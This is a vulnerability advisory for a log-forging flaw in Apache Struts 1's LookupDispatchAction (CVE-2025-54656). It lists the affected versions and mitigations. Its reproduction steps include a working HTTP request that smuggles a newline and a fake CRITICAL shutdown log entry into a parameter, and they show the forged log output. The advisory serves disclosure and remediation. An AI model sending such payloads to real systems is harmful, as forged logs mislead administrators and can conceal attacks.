Overview
Apache Struts is a popular open-source web application framework for developing Java EE web applications. It provides robust support for creating modern Java-based enterprise applications.
A Improper Output Neutralization for Logs vulnerability (CVE-2025-54656) has been identified in Apache Struts. This vulnerability allows attackers to inject untrusted input into log files without proper filtering, potentially misleading consumers of the logs.
Per OWASP: Applications use log files to track events for review, analysis, or debugging. If unvalidated user input is written to logs, attackers can exploit this to perform log injection—inserting fake log entries or malicious content. This can result in misleading logs (log forging) or even trigger attacks like XSS if the logs are viewed in vulnerable systems.
This issue affects multiple versions of Apache Struts.
Details
Module Info
- Product: Apache Struts
- Affected packages: struts, struts-extras
- Affected versions: >=1.2.9 <=1.3.10
- GitHub repository: https://github.com/apache/struts
- Package manager: Maven
- Fixed in: NES for Apache Struts Struts 1 v1.3.15
Vulnerability Info
The getLookupMapName method in the LookupDispatchAction class in Struts writes unsanitized user input (keyName) directly to log entries when the lookupMap does not contain the provided key. A malicious user can exploit this behavior by submitting a crafted keyName parameter, resulting in forged or misleading log entries.
Steps To Reproduce
1. Setup a LookupDispatchAction, or use the examples web app from Struts 1.3.10.
2. Craft an HTTP request to demonstrate the vulnerability:
POST /examples/dispatch/lookup-submit.do HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
dispatchParam=fob.bar'%0A16-Jul-2025 16:13:57.670 CRITICAL [http-nio-8080-exec-6] org.apache.struts.actions.DispatchAction 'SHUTDOWN INITIALIZED
3. Check the logs. The new line %0A in the dispatchParam value causes a forged log entry to appear as if it originated from the application itself. This demonstrates how an attacker can inject misleading log entries, potentially masking real events or creating confusion during log analysis.
16-Jul-2025 16:13:56.869 SEVERE [http-nio-8080-exec-9] org.apache.struts.actions.LookupDispatchAction.getLookupMapName Action[/lookup-submit] missing resource in key method map 'fob.bar'
16-Jul-2025 16:13:57.670 CRITICAL [http-nio-8080-exec-6] org.apache.struts.actions.DispatchAction 'SHUTDOWN INITIALIZED'
Mitigation
Users of the affected components should apply one of the following mitigations:
- Upgrade to patched Apache Struts 2
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
Credit
- Ryan Murphy of HeroDevs
